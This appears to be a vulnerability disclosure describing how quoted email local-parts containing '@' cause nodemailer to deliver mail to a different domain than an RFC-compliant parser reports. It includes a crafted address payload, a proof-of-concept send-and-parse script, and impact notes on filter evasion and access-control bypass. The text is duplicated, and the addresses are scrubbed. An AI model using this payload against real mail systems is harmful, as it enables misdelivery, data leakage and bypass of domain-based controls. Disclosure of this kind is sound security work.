The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Payload: "[email protected] x"@internal.domain
Using the following code to send mail
const nodemailer = require("nodemailer");
let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});
let mailOptions = {
  from: '"Test Sender" <[email protected]>', 
  to: "\"[email protected] x\"@internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};
transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);
});
(async () => {
  const parser = await import("@sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);
  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }
  console.log("Parsed email:", {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();
Running the script and seeing how this mail is parsed according to RFC
Parsed email: {
  address: '"[email protected] x"@internal.domain',
  local: '"[email protected] x"',
  domain: 'internal.domain'
}
But the email is sent to [email protected]

Impact:
- 
Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
 
- 
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
 
- 
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
 
- 
Domain based access control bypass in downstream applications using your library to send mails
 
Recommendations
References
   
 
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Payload:
"[email protected] x"@internal.domainUsing the following code to send mail
Running the script and seeing how this mail is parsed according to RFC
But the email is sent to
[email protected]Impact:
Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
Domain based access control bypass in downstream applications using your library to send mails
Recommendations
Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.
References